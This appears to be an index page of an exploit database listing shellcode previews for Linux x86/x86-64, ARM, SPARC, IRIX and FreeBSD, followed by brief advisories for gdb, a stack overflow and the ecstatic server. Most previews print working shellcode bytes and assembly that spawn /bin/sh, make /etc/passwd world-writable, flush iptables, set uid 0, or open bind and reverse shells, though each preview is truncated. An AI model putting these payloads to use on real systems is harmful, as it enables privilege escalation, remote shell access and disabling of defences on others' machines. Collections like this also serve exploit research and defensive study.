Linux/x86-64 - Execute /bin/sh Shellcode (27 bytes)

/ Execute /bin/sh - 27 bytes Dad 0x7ffff7aeff20 : mov eax,0x3b ; 0x7ffff7aeff25 : syscall ; main: ;mov rbx, 0x68732f6e69622f2f ;mov rbx, 0x68732f6e69622fff ;shr rbx, 0x8 ;mov rax, 0xdeadbeefcafe1dea ;mov rbx, 0xdeadbeefcafe1dea ;mov rcx, 0xdeadbeefcafe1dea ;mov rdx, 0xdeadbeefcafe1dea xor eax, ea...

Linux/ARM - chmod(/etc/passwd, 0777) Shellcode (39 bytes)

/ Title : Linux/ARM - chmod"/etc/passwd", 0777 - 39 bytes Date : 2013-09-04 Author : gunslinger yuda at cr0security dot com Tested on : ARM1176 rev6 v6l An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00. Cr0security.com / include char shellcode = "\x01\x60\x8f\xe2" // add r6, pc, 1...

Linux/x86-64 - execve (/sbin/iptables, [/sbin/iptables, -F], NULL) Shellcode (43 bytes)

/ section .text global start start: push 0x3b pop rax cdq push rdx push word 0x462d push rsp pop rcx push rdx mov rbx, 0x73656c6261747069 push rbx mov rbx, 0x2f2f2f6e6962732f push rbx push rsp pop rdi push rdx push rcx push rdi push rsp pop rsi ; execve"/sbin/iptables", "/sbin/iptables", "-F",...

IRIX - execve (/bin/sh -c) Shellcode (72 bytes)

char cmdshellcode= "\x04\x10\xff\xff" / bltzal $zero, / "\x24\x02\x03\xf3" / li $v0,1011 / "\x23\xff\x08\xf4" / addi $ra,$ra,2292 / "\x23\xe4\xf7\x40" / addi $a0,$ra,-2240 / "\x23\xe5\xfb\x24" / addi $a1,$ra,-1244 / "\xaf\xe4\xfb\x24" / sw $a0,-1244$ra / "\x23\xe6\xf7\x48" / addi $a2,$ra,-2232 /...

Linux/StrongARM - Bind TCP /bin/sh Shell Shellcode (203 bytes)

/ 203 byte StrongARM/Linux bind portshell shellcode funkysh / char shellcode= "\x20\x60\x8f\xe2" / add r6, pc, 32 / "\x07\x70\x47\xe0" / sub r7, r7, r7 / "\x01\x70\xc6\xe5" / strb r7, r6, 1 / "\x01\x30\x87\xe2" / add r3, r7, 1 / "\x13\x07\xa0\xe1" / mov r0, r3, lsl r7 / "\x01\x20\x83\xe2" / add r...

Linux/SPARC - setreuid(0,0) + standard execve() Shellcode (72 bytes)

/ Linux/SPARC setreuid0, 0; necessary, /bin/sh drops privs, standard execve. / char c0de = / by michel kaempf / / setuid 0 ; / "\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" / setgid 0 ; / "\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" / Aleph One : /...

Linux/x86-64 - Execute /bin/sh Shellcode (24 bytes)

/ global start section .text start: push 59 pop rax cdq push rdx mov rbx,0x68732f6e69622f2f push rbx push rsp pop rdi push rdx push rdi push rsp pop rsi syscall / include include char code = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"; // cha...

IRIX - stdin-read Shellcode (40 bytes)

/ 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso / unsigned long int shellcode = 0x24048cb0, / li $a0, -0x7350 / / dpatch: / 0x0490ffff, / bltzal $a0, dpatch / 0x2804ffff, / slti $a0, $zero, -1 / 0x240fffe3, / li $t7, -29 / 0x01e07827, / nor $t7, $t7, $zero / 0x03ef2821, / addu $a1, $ra,...

Android/ARM - Reverse TCP /system/bin/sh Shell (10.0.2.2:0x3412/TCP) Shellcode (79 bytes)

/ This ARM Thumb sc connects to a given IP and port with a shell. Intended for use with Android hence /system/bin/sh. Connects to the provided IP and port with a shell no null bytes in the code, but does this really matter these days? it could be fixed with just a few instructions. Released to th...

Linux/StrongARM - setuid() Shellcode (20 bytes)

/ 20 byte StrongARM/Linux setuid shellcode funkysh / char shellcode= "\x02\x20\x42\xe0" / sub r2, r2, r2 / "\x04\x10\x8f\xe2" / add r1, pc, 4 / "\x12\x02\xa0\xe1" / mov r0, r2, lsl r2 / "\x01\x20\xc1\xe5" / strb r2, r1, 1 / "\x17\x0b\x90\xef"; / swi 0x90ff17 /...

Linux/ARM - execve (/bin/sh, [], [0 vars]) Shellcode (35 bytes)

/ Title : Linux/ARM - execve"/bin/sh", , 0 vars - 35 bytes Date : 2013-09-04 Author : gunslinger yuda at cr0security dot com Tested on : ARM1176 rev6 v6l An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00. Cr0security.com / include char shellcode = "\x01\x60\x8f\xe2" // add r6, pc, 1...

FreeBSD/x86 - execv(/bin/sh) Shellcode (23 bytes)

/ -------------- FreeBSD/x86 - execv"/bin/sh" 23 bytes ------------------------- AUTHOR : Tosh OS : BSDx86 Tested on FreeBSD 8.1 EMAIL : email protected / include include char shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x54\x53\xb0\x3b\x50\xcd\x80"; int...

Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)

/ Title: Linux/x86 - execve/bin/sh Polymorphic Shellcode 53 bytes Date: 10-Jan-2018 Exploit Author: Debashis Pal SLAE-1122 Tested on: i686 GNU/Linux '//bin/sh' = 0x68732f6e 0x69622f2f polymorphic.nasm global start section .text start: add esi, 0x30 ;junk xor ecx, ecx mul ecx mov dword esp-4, ecx...

Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (53 bytes)

Linux/x86 - execve/bin/sh + Polymorphic Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform / Title: Linux/x86 - execve/bin/sh Polymorphic Shellcode 53 bytes Date: 10-Jan-2018 Exploit Author: Debashis Pal SLAE-1122 Tested on: i686 GNU/Linux '//bin/sh' = 0x68732f6e 0x69622f2f...

Linux/x86 - execve /bin/dash Shellcode (30 bytes)

/ Description ; Title : exec /bin/dash - Shellcode ; Author : Hashim Jawad ; Website : ihack4falafel.com ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : spawn /bin/dash shell ; OS : Linux ; Arch : x86 ; Size : 30 bytes dash.nasm global start section .text start: ; push NULL into the...

Linux/x86 - execve(/bin/dash) Shellcode (30 bytes)

Linux/x86 - execve/bin/dash Shellcode 30 bytes. Shellcode exploit for Linuxx86 platform / Description ; Title : exec /bin/dash - Shellcode ; Author : Hashim Jawad ; Website : ihack4falafel.com ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : spawn /bin/dash shell ; OS : Linux ; Arch :...

Updated gdb packages fix security vulnerability

Hanno Böck discovered that gdb incorrectly handled certain malformed AOUT headers in PE executables. If a user or automated system were tricked into processing a specially crafted binary, a remote attacker could use this issue to cause gdb to crash, resulting in a denial of service, or possibly...

PT-2018-19371

Name of the Vulnerable Software and Affected Versions SC version 7.16 Description A stack-based buffer overflow allows local attackers to execute arbitrary code by providing oversized input that exceeds buffer boundaries. By crafting malicious input strings larger than 1052 bytes, an attacker can...

GHSA-PM9P-9926-W68M Denial of Service in ecstatic

ecstatic, a simple static file server middleware, is vulnerable to denial of service. If a payload with a large number of null bytes %00 is provided by an attacker it can crash ecstatic by running it out of memory. Results from the original advisory A payload of 22kB caused a lag of 1 second, A...

Denial of Service

Overview ecstatic, a simple static file server middleware, is vulnerable to denial of service. If a payload with a large number of null bytes %00 is provided by an attacker it can crash ecstatic by running it out of memory. Results from the original advisory A payload of 22kB caused a lag of 1...